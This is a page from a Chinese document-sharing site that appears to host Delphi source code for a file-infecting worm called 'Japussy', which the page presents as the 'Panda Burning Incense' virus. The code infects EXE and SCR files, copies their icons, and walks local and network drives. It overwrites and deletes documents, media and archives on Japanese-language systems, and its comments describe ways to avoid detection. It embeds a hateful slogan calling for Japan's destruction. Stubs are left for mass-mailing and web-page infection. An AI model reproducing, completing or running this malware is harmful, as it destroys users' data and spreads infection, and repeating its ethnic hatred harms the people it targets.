版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、“熊猫烧香”简介:“熊猫烧香”病毒是一个能在电脑操作系统上运行的蠕虫病毒。采用“熊猫烧香”头像作为图标。它的变种会感染EXE可执行文件,被病毒感染的文件图标均变为“熊猫烧香”。同时,受感染的计算机还会出现蓝屏、频繁重启以及文件被破坏等现象。该病毒会在中毒电脑中所有的网页文件尾部添加病毒代码。目前已有百万台电脑受害。program Japussy;usesWindows, SysUtils, Classes, Graphics, ShellAPI, Registry;constHeaderSize = 82432;&
2、#160; /病毒体的大小IconOffset = $12EB8; /PE文件主图标的偏移量/在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同/查找2800000020的十六进制字符串可以找到主图标的偏移量 HeaderSize =
3、160;38912; /Upx压缩过病毒体的大小IconOffset = $92BC; /Upx压缩过PE文件主图标的偏移量/Upx 1.24W 用法: upx -9 -8086 Japussy.exeIconS
4、ize = $2E8; /PE文件主图标的大小-744字节IconTail = IconOffset + IconSize; /PE文件主图标的尾部ID = $44444444;
5、; /感染标记/垃圾码,以备写入Catchword = 'If a race need to be killed out, it must be Yamato. ' + 'If a country need to be des
6、troyed, it must be Japan! ' + '* W32.Japussy.Worm.A *'$R *.RESfunction RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'Kern
7、el32.dll' /函数声明varTmpFile: string;Si: STARTUPINFO;Pi: PROCESS_INFORMATION;IsJap: Boolean = False; /日文操作系统标记 判断是否为Win9x function IsWin9x: Boolean;varVer: TOSVersionInfo;beg
8、inResult := False;Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);if not GetVersionEx(Ver) then Exit;if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then /Win9x Result := True;end; 在流之间复制 proce
9、dure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;dStartPos: Integer; Count: Integer);varsCurPos, dCurPos: Integer;beginsCurPos := Src.Position;dCurPos := Dst.Position;Src.Seek(sStartPos, 0);Dst.Seek(dStartP
10、os, 0);Dst.CopyFrom(Src, Count);Src.Seek(sCurPos, 0);Dst.Seek(dCurPos, 0);end; 将宿主文件从已感染的PE文件中分离出来,以备使用 procedure ExtractFile(FileName: string);varsStream, dStream: TFileStream;begintry sStream := TFileStream.Create(ParamStr(0),&
11、#160;fmOpenRead or fmShareDenyNone); try dStream := TFileStream.Create(FileName, fmCreate); try sStream.Seek(HeaderSize, 0); /跳过头部的病毒部分 dStream.CopyFrom(sStream,&
12、#160;sStream.Size - HeaderSize); finally dStream.Free; end; finally sStream.Free; end;exceptend;end; 填充STARTUPINFO结构 procedure FillStartupInfo(var Si:
13、STARTUPINFO; State: Word);beginSi.cb := SizeOf(Si);Si.lpReserved := nil;Si.lpDesktop := nil;Si.lpTitle := nil;Si.dwFlags := STARTF_USESHOWWINDOW;Si.wShowWindow := State;Si.cbReserved2 := 0;Si.lpReserved2 := nil
14、;end; 发带毒邮件 procedure SendMail;begin/哪位仁兄愿意完成之?end; 感染PE文件 procedure InfectOneFile(FileName: string);varHdrStream, SrcStream: TFileStream;IcoStream, DstStream: TMemoryStream;iID: LongInt;aIcon: TIcon;Infected, IsPE: Boolean;i
15、: Integer;Buf: array0.1 of Char;begintry /出错则文件正在被使用,退出 if CompareText(FileName, 'JAPUSSY.EXE') = 0 then /是自己则不感染 Exit; Infected := False; IsPE := Fa
16、lse; SrcStream := TFileStream.Create(FileName, fmOpenRead); try for i := 0 to $108 do /检查PE文件头 begin SrcStream.Seek(i, soFromBeginning);
17、 SrcStream.Read(Buf, 2); if (Buf0 = #80) and (Buf1 = #69) then /PE标记 begin IsPE := True; /是PE文件 Break;
18、 end; end; SrcStream.Seek(-4, soFromEnd); /检查感染标记 SrcStream.Read(iID, 4); if (iID = ID) or (SrcStream.Size < 10240) then /太小的文件不感染
19、0; Infected := True; finally SrcStream.Free; end; if Infected or (not IsPE) then /如果感染过了或不是PE文件则退出 Exit; IcoStream := TMemoryStream.Create;
20、0; DstStream := TMemoryStream.Create; try aIcon := TIcon.Create; try /得到被感染文件的主图标(744字节),存入流 aIcon.ReleaseHandle; aIcon.Handle := ExtractIc
21、on(HInstance, PChar(FileName), 0); aIcon.SaveToStream(IcoStream); finally aIcon.Free; end; SrcStream := TFileStream.Create(FileName, fmOpenRead);
22、60; /头文件 HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); try /写入病毒体主图标之前的数据 CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
23、160; /写入目前程序的主图标 CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize); /写入病毒体主图标到病毒体尾部之间的数据 CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize -
24、IconTail); /写入宿主程序 CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size); /写入已感染的标记 DstStream.Seek(0, 2); iID := $44444444;
25、; DstStream.Write(iID, 4); finally HdrStream.Free; end; finally SrcStream.Free; IcoStream.Free; DstStream.SaveToFile(FileName); /替换宿主文件&
26、#160; DstStream.Free; end;except;end;end; 将目标文件写入垃圾码后删除 procedure SmashFile(FileName: string);varFileHandle: Integer;i, Size, Mass, Max, Len: Integer;begintry SetFileAttributes(PChar(FileName), 0); /去掉
27、只读属性 FileHandle := FileOpen(FileName, fmOpenWrite); /打开文件 try Size := GetFileSize(FileHandle, nil); /文件大小 i := 0; Randomize; Max :=
28、 Random(15); /写入垃圾码的随机次数 if Max < 5 then Max := 5; Mass := Size div Max; /每个间隔块的大小 Len := Length(Catchword);
29、0;while i < Max do begin FileSeek(FileHandle, i * Mass, 0); /定位 /写入垃圾码,将文件彻底破坏掉 FileWrite(FileHandle, Catchword, Len); Inc(i);&
30、#160; end; finally FileClose(FileHandle); /关闭文件 end; DeleteFile(PChar(FileName); /删除之exceptend;end; 获得可写的驱动器列表 function GetDrives: string;varDiskType: Word;D: Char;Str: string;i:
31、0;Integer;beginfor i := 0 to 25 do /遍历26个字母begin D := Chr(i + 65); Str := D + ':' DiskType := GetDriveType(PChar(Str); /得到本地磁盘和网络盘 if (DiskType
32、0;= DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then Result := Result + D;end;end; 遍历目录,感染和摧毁文件 procedure LoopFiles(Path, Mask: string);vari, Count: Integer;Fn, Ext: string;SubDir:
33、0;TStrings;SearchRec: TSearchRec;Msg: TMsg;function IsValidDir(SearchRec: TSearchRec): Integer;begin if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and (SearchRec.Name &
34、lt;> '.') then Result := 0 /不是目录 else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and (SearchRec.Name <> '.')
35、then Result := 1 /不是根目录 else Result := 2; /是根目录end;beginif (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) thenbegin repeat PeekMessage(Msg, 0,
36、0, 0, PM_REMOVE); /调整消息队列,避免引起怀疑 if IsValidDir(SearchRec) = 0 then begin Fn := Path + SearchRec.Name; Ext := UpperCase(ExtractFileExt(Fn);
37、; if (Ext = '.EXE') or (Ext = '.SCR') then begin InfectOneFile(Fn); /感染可执行文件 end else
38、60;if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then begin /感染HTML和ASP文件,将Base64编码后的病毒写入 /感染浏览此网页的所有用户
39、; /哪位大兄弟愿意完成之? end else if Ext = '.WAB' then /Outlook地址簿文件 begin /获取Outlook邮件地址 end else&
40、#160;if Ext = '.ADC' then /Foxmail地址自动完成文件 begin /获取Foxmail邮件地址 end else if Ext = 'IND' then /Foxmail地址簿文件 &
41、#160;begin /获取Foxmail邮件地址 end else begin if IsJap then /是倭文操作系统 begin
42、 if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or (Ext = '.MP3') or (Ext = '.RM') or (Ext
43、;= '.RA') or (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or (Ext = '.MPEG') or&
44、#160;(Ext = '.ASF') or (Ext = '.JPG') or (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
45、0; (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then SmashFile(Fn); /摧毁文件 end;
46、60;end; end; /感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑 Sleep(200); until (FindNext(SearchRec) <> 0);end;FindClose(SearchRec);SubDir := TStringList.Create;if (FindFirst(Path + '*.
47、*', faDirectory, SearchRec) = 0) thenbegin repeat if IsValidDir(SearchRec) = 1 then SubDir.Add(SearchRec.Name); until (FindNext(SearchRec) <> 0); end;FindClose(SearchRec);Count := SubDir.Count - 1;for i := 0 to Count do LoopFiles(Path + SubDir.Strings + '', Mask);F
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2026年南京公共交通(集团)有限公司招聘备考题库及参考答案详解
- 2026年四会市黄田镇专职消防队人员招聘备考题库及一套完整答案详解
- 2026年宁波市镇海区龙赛医疗集团公开招聘派遣制工作人员备考题库及参考答案详解
- 2026年北京脑科学与类脑研究所招聘备考题库及一套答案详解
- 2026年北仑区交通运输局编外人员公开招聘备考题库完整答案详解
- 2026年扶绥县龙头乡卫生院招聘备考题库带答案详解
- 责任追究制度(3篇)
- 2025教师资格《综合素质》真题解析及答案
- 2025一级建造师模拟题及答案
- 高温中暑事故应急预案演练方案
- 2025至2030全球及中国供应链的区块链行业项目调研及市场前景预测评估报告
- 议论文写作入门指导课件统编版高一语文必修上册
- 北师大版初中英语七年级上册期末复习试卷及答案
- 2025-2030中国特种陶瓷材料进口替代空间与投资机会评估研究报告
- 胫骨平台骨折课件
- 2025-2030中国建筑行业人才需求与培养战略研究报告
- 广东省广州市花都区2023-2024学年七年级下学期期末地理试卷(含答案)
- 2025开放式耳机品类趋势洞察报告
- 服务质量评估与奖惩机制管理制度
- 【《MMC型电力电子变压器故障特性分析案例概述》7100字】
- 超尔星学雅习通答案能源中国作业试题及答案
评论
0/150
提交评论